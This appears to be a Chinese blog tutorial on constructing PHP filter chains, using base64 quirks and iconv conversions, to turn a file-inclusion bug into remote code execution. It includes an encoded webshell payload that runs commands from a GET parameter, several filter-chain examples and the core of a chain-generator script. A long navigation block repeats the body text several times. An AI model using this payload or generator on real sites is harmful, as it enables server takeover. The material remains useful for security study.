1. 1. 通过php函数的分析解析php的filter链构造
    1. 1.0.1. php-base64函数特性分析
      1. 1.0.1.0.0.1. 所传参数位数为4*n+1
      2. 1.0.1.0.0.2. 所传参数位数为4*n+2 此时运行相当于自动补全两个等号后解码 所传参数位数为4*n+3 此时相当于自动补全一个等号后解码 <2>base64解码时,会忽略其中的非字母数字+/=,其中对于不在末尾的等号,也会进行忽略 <3>对于一个已经能够解码的字符串,在其后面无论加入多少字符,都不会影响该字符串的解码结果 编码过滤器的特性 过滤器的叠加组合,可以在原始字符前添加一些字符,我们来看下面的例子 12345<?php echo file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,sunrt"); 运行结果:$)Csunrt 我们发现,多了几个字符,但是,我们说过前面base64的特性,在解码时,会忽略掉非数字字符+/=,那如果我们添加base64decode过滤器,再添加base64encode过滤器,那么这些字符就会消失,只留下C字符 12345678<?phpecho file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";echo base64_encode(base64_decode("Csunrt"));运行结果:Csunrg==Csunrg== 此时我们完成了一项任务,就是在已有的数据前面,再次添加别的字符,我们能看到,运行的结果稍稍改变了原有的字符,这不重要,因为改变的往往都是最后的字符,我们只要保证添加的字符不被改变就行,此时我们完成了一个字符的添加,这远远不够,一个字符改变不了任何东西,那么如何添加更多的字符呢,我们来看 123456<?phpecho file_get_contents("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE/resource=data://,sunrt")."\n";运行结果:÷å€4sunrt 不出所料的话,添加base64过滤器后,就会向原始数据前面添加4 123456<?phpecho file_get_contents("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";运行结果:4sunrg== 那么,添加4C就可以这样做 1234567<?phpecho file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";运行结果:4Csunrg= 只需要简单的拼接,就能够添加多个字符,但是此时只能添加base64_decode函数认证的字符,也就是字母数字+/=,对我们来说限制还是很大,因为恶意代码肯定带有字符 要解决这个问题,其实也很简单,就是我们构造一串恶意代码的base64编码值,那这个编码值,肯定是字母数字+/=,最后我们再次添加一个base64-decode过滤器,此时,恶意代码就会被还原 比如我们想要构造,那么直接构造PD89YCRfR0VUWzBdYDs7Pz4=即可,构造完成后,直接再次在构造的末尾添加|convert.base64-decode即可,此时恶意代码就会被解码,如果存在包含漏洞,那就可以RCE了 想要构造的字符哪里来 第一种当然是写脚本,慢慢尝试了,但是已经有人替我们整理好了:字符的整理 用于梭哈的脚本以及脚本的分析 梭哈脚本 1234567891011121314151617181920212223def generate_filter_chain(chain, debug_base64 = False): encoded_chain = chain # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in encoded_chain[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" if not debug_base64: # don't add the decode while debugging chains filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" return final_payload 上面为节选的核心代码,唯一不同的是,前面多了一些东西,和每次循环后面多了convert.iconv.UTF8.UTF7|,这个是为了去除空格,前面多的则是,当我们包含的文件为空时,使字符能够正常添加与解析,这两处细节影响不大,懂前面的添加字符即可
      3. 1.0.1.0.0.3. 此时运行相当于自动补全两个等号后解码 所传参数位数为4*n+3 此时相当于自动补全一个等号后解码 <2>base64解码时,会忽略其中的非字母数字+/=,其中对于不在末尾的等号,也会进行忽略 <3>对于一个已经能够解码的字符串,在其后面无论加入多少字符,都不会影响该字符串的解码结果 编码过滤器的特性 过滤器的叠加组合,可以在原始字符前添加一些字符,我们来看下面的例子 12345<?php echo file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,sunrt"); 运行结果:$)Csunrt 我们发现,多了几个字符,但是,我们说过前面base64的特性,在解码时,会忽略掉非数字字符+/=,那如果我们添加base64decode过滤器,再添加base64encode过滤器,那么这些字符就会消失,只留下C字符 12345678<?phpecho file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";echo base64_encode(base64_decode("Csunrt"));运行结果:Csunrg==Csunrg== 此时我们完成了一项任务,就是在已有的数据前面,再次添加别的字符,我们能看到,运行的结果稍稍改变了原有的字符,这不重要,因为改变的往往都是最后的字符,我们只要保证添加的字符不被改变就行,此时我们完成了一个字符的添加,这远远不够,一个字符改变不了任何东西,那么如何添加更多的字符呢,我们来看 123456<?phpecho file_get_contents("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE/resource=data://,sunrt")."\n";运行结果:÷å€4sunrt 不出所料的话,添加base64过滤器后,就会向原始数据前面添加4 123456<?phpecho file_get_contents("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";运行结果:4sunrg== 那么,添加4C就可以这样做 1234567<?phpecho file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";运行结果:4Csunrg= 只需要简单的拼接,就能够添加多个字符,但是此时只能添加base64_decode函数认证的字符,也就是字母数字+/=,对我们来说限制还是很大,因为恶意代码肯定带有字符 要解决这个问题,其实也很简单,就是我们构造一串恶意代码的base64编码值,那这个编码值,肯定是字母数字+/=,最后我们再次添加一个base64-decode过滤器,此时,恶意代码就会被还原 比如我们想要构造,那么直接构造PD89YCRfR0VUWzBdYDs7Pz4=即可,构造完成后,直接再次在构造的末尾添加|convert.base64-decode即可,此时恶意代码就会被解码,如果存在包含漏洞,那就可以RCE了 想要构造的字符哪里来 第一种当然是写脚本,慢慢尝试了,但是已经有人替我们整理好了:字符的整理 用于梭哈的脚本以及脚本的分析 梭哈脚本 1234567891011121314151617181920212223def generate_filter_chain(chain, debug_base64 = False): encoded_chain = chain # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in encoded_chain[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" if not debug_base64: # don't add the decode while debugging chains filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" return final_payload 上面为节选的核心代码,唯一不同的是,前面多了一些东西,和每次循环后面多了convert.iconv.UTF8.UTF7|,这个是为了去除空格,前面多的则是,当我们包含的文件为空时,使字符能够正常添加与解析,这两处细节影响不大,懂前面的添加字符即可
      4. 1.0.1.0.0.4. 所传参数位数为4*n+3 此时相当于自动补全一个等号后解码 <2>base64解码时,会忽略其中的非字母数字+/=,其中对于不在末尾的等号,也会进行忽略 <3>对于一个已经能够解码的字符串,在其后面无论加入多少字符,都不会影响该字符串的解码结果 编码过滤器的特性 过滤器的叠加组合,可以在原始字符前添加一些字符,我们来看下面的例子 12345<?php echo file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,sunrt"); 运行结果:$)Csunrt 我们发现,多了几个字符,但是,我们说过前面base64的特性,在解码时,会忽略掉非数字字符+/=,那如果我们添加base64decode过滤器,再添加base64encode过滤器,那么这些字符就会消失,只留下C字符 12345678<?phpecho file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";echo base64_encode(base64_decode("Csunrt"));运行结果:Csunrg==Csunrg== 此时我们完成了一项任务,就是在已有的数据前面,再次添加别的字符,我们能看到,运行的结果稍稍改变了原有的字符,这不重要,因为改变的往往都是最后的字符,我们只要保证添加的字符不被改变就行,此时我们完成了一个字符的添加,这远远不够,一个字符改变不了任何东西,那么如何添加更多的字符呢,我们来看 123456<?phpecho file_get_contents("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE/resource=data://,sunrt")."\n";运行结果:÷å€4sunrt 不出所料的话,添加base64过滤器后,就会向原始数据前面添加4 123456<?phpecho file_get_contents("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";运行结果:4sunrg== 那么,添加4C就可以这样做 1234567<?phpecho file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";运行结果:4Csunrg= 只需要简单的拼接,就能够添加多个字符,但是此时只能添加base64_decode函数认证的字符,也就是字母数字+/=,对我们来说限制还是很大,因为恶意代码肯定带有字符 要解决这个问题,其实也很简单,就是我们构造一串恶意代码的base64编码值,那这个编码值,肯定是字母数字+/=,最后我们再次添加一个base64-decode过滤器,此时,恶意代码就会被还原 比如我们想要构造,那么直接构造PD89YCRfR0VUWzBdYDs7Pz4=即可,构造完成后,直接再次在构造的末尾添加|convert.base64-decode即可,此时恶意代码就会被解码,如果存在包含漏洞,那就可以RCE了 想要构造的字符哪里来 第一种当然是写脚本,慢慢尝试了,但是已经有人替我们整理好了:字符的整理 用于梭哈的脚本以及脚本的分析 梭哈脚本 1234567891011121314151617181920212223def generate_filter_chain(chain, debug_base64 = False): encoded_chain = chain # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in encoded_chain[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" if not debug_base64: # don't add the decode while debugging chains filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" return final_payload 上面为节选的核心代码,唯一不同的是,前面多了一些东西,和每次循环后面多了convert.iconv.UTF8.UTF7|,这个是为了去除空格,前面多的则是,当我们包含的文件为空时,使字符能够正常添加与解析,这两处细节影响不大,懂前面的添加字符即可
      5. 1.0.1.0.0.5. 此时相当于自动补全一个等号后解码 <2>base64解码时,会忽略其中的非字母数字+/=,其中对于不在末尾的等号,也会进行忽略 <3>对于一个已经能够解码的字符串,在其后面无论加入多少字符,都不会影响该字符串的解码结果 编码过滤器的特性 过滤器的叠加组合,可以在原始字符前添加一些字符,我们来看下面的例子 12345<?php echo file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,sunrt"); 运行结果:$)Csunrt 我们发现,多了几个字符,但是,我们说过前面base64的特性,在解码时,会忽略掉非数字字符+/=,那如果我们添加base64decode过滤器,再添加base64encode过滤器,那么这些字符就会消失,只留下C字符 12345678<?phpecho file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";echo base64_encode(base64_decode("Csunrt"));运行结果:Csunrg==Csunrg== 此时我们完成了一项任务,就是在已有的数据前面,再次添加别的字符,我们能看到,运行的结果稍稍改变了原有的字符,这不重要,因为改变的往往都是最后的字符,我们只要保证添加的字符不被改变就行,此时我们完成了一个字符的添加,这远远不够,一个字符改变不了任何东西,那么如何添加更多的字符呢,我们来看 123456<?phpecho file_get_contents("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE/resource=data://,sunrt")."\n";运行结果:÷å€4sunrt 不出所料的话,添加base64过滤器后,就会向原始数据前面添加4 123456<?phpecho file_get_contents("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";运行结果:4sunrg== 那么,添加4C就可以这样做 1234567<?phpecho file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";运行结果:4Csunrg= 只需要简单的拼接,就能够添加多个字符,但是此时只能添加base64_decode函数认证的字符,也就是字母数字+/=,对我们来说限制还是很大,因为恶意代码肯定带有字符 要解决这个问题,其实也很简单,就是我们构造一串恶意代码的base64编码值,那这个编码值,肯定是字母数字+/=,最后我们再次添加一个base64-decode过滤器,此时,恶意代码就会被还原 比如我们想要构造,那么直接构造PD89YCRfR0VUWzBdYDs7Pz4=即可,构造完成后,直接再次在构造的末尾添加|convert.base64-decode即可,此时恶意代码就会被解码,如果存在包含漏洞,那就可以RCE了 想要构造的字符哪里来 第一种当然是写脚本,慢慢尝试了,但是已经有人替我们整理好了:字符的整理 用于梭哈的脚本以及脚本的分析 梭哈脚本 1234567891011121314151617181920212223def generate_filter_chain(chain, debug_base64 = False): encoded_chain = chain # generate some garbage base64 filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" # make sure to get rid of any equal signs in both the string we just generated and the rest of the file filters += "convert.iconv.UTF8.UTF7|" for c in encoded_chain[::-1]: filters += conversions[c] + "|" # decode and reencode to get rid of everything that isn't valid base64 filters += "convert.base64-decode|" filters += "convert.base64-encode|" # get rid of equal signs filters += "convert.iconv.UTF8.UTF7|" if not debug_base64: # don't add the decode while debugging chains filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource={file_to_use}" return final_payload 上面为节选的核心代码,唯一不同的是,前面多了一些东西,和每次循环后面多了convert.iconv.UTF8.UTF7|,这个是为了去除空格,前面多的则是,当我们包含的文件为空时,使字符能够正常添加与解析,这两处细节影响不大,懂前面的添加字符即可
  • 1.0.2. 编码过滤器的特性
  • 1.0.3. 想要构造的字符哪里来
  • 1.0.4. 用于梭哈的脚本以及脚本的分析
  • Filter链之php

    通过php函数的分析解析php的filter链构造

    php-base64函数特性分析

    <1>base64解码时,要求所传参数为4的倍数,如果所传参数不是4的倍数呢,我们来逐个分析

    所传参数位数为4*n+1

    1

    此时并不影响解码的结果,相当于删除最后一位后解码

    所传参数位数为4*n+2

    2

    此时运行相当于自动补全两个等号后解码

    所传参数位数为4*n+3

    3

    此时相当于自动补全一个等号后解码

    <2>base64解码时,会忽略其中的非字母数字+/=,其中对于不在末尾的等号,也会进行忽略

    4

    <3>对于一个已经能够解码的字符串,在其后面无论加入多少字符,都不会影响该字符串的解码结果

    5

    编码过滤器的特性

    过滤器的叠加组合,可以在原始字符前添加一些字符,我们来看下面的例子

    1
    2
    3
    4
    5
    <?php 
    echo file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,sunrt");

    运行结果:
    $)Csunrt

    我们发现,多了几个字符,但是,我们说过前面base64的特性,在解码时,会忽略掉非数字字符+/=,那如果我们添加base64decode过滤器,再添加base64encode过滤器,那么这些字符就会消失,只留下C字符

    1
    2
    3
    4
    5
    6
    7
    8
    <?php

    echo file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";
    echo base64_encode(base64_decode("Csunrt"));

    运行结果:
    Csunrg==
    Csunrg==

    此时我们完成了一项任务,就是在已有的数据前面,再次添加别的字符,我们能看到,运行的结果稍稍改变了原有的字符,这不重要,因为改变的往往都是最后的字符,我们只要保证添加的字符不被改变就行,此时我们完成了一个字符的添加,这远远不够,一个字符改变不了任何东西,那么如何添加更多的字符呢,我们来看

    1
    2
    3
    4
    5
    6
    <?php

    echo file_get_contents("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE/resource=data://,sunrt")."\n";

    运行结果:
    ÷å€4sunrt

    不出所料的话,添加base64过滤器后,就会向原始数据前面添加4

    1
    2
    3
    4
    5
    6
    <?php

    echo file_get_contents("php://filter/convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";

    运行结果:
    4sunrg==

    那么,添加4C就可以这样做

    1
    2
    3
    4
    5
    6
    7
    <?php

    echo file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode/resource=data://,sunrt")."\n";


    运行结果:
    4Csunrg=

    只需要简单的拼接,就能够添加多个字符,但是此时只能添加base64_decode函数认证的字符,也就是字母数字+/=,对我们来说限制还是很大,因为恶意代码肯定带有字符

    要解决这个问题,其实也很简单,就是我们构造一串恶意代码的base64编码值,那这个编码值,肯定是字母数字+/=,最后我们再次添加一个base64-decode过滤器,此时,恶意代码就会被还原

    比如我们想要构造,那么直接构造PD89YCRfR0VUWzBdYDs7Pz4=即可,构造完成后,直接再次在构造的末尾添加|convert.base64-decode即可,此时恶意代码就会被解码,如果存在包含漏洞,那就可以RCE了

    想要构造的字符哪里来

    第一种当然是写脚本,慢慢尝试了,但是已经有人替我们整理好了:字符的整理

    用于梭哈的脚本以及脚本的分析

    梭哈脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    def generate_filter_chain(chain, debug_base64 = False):

    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"


    for c in encoded_chain[::-1]:
    filters += conversions[c] + "|"
    # decode and reencode to get rid of everything that isn't valid base64
    filters += "convert.base64-decode|"
    filters += "convert.base64-encode|"
    # get rid of equal signs
    filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
    # don't add the decode while debugging chains
    filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

    上面为节选的核心代码,唯一不同的是,前面多了一些东西,和每次循环后面多了convert.iconv.UTF8.UTF7|,这个是为了去除空格,前面多的则是,当我们包含的文件为空时,使字符能够正常添加与解析,这两处细节影响不大,懂前面的添加字符即可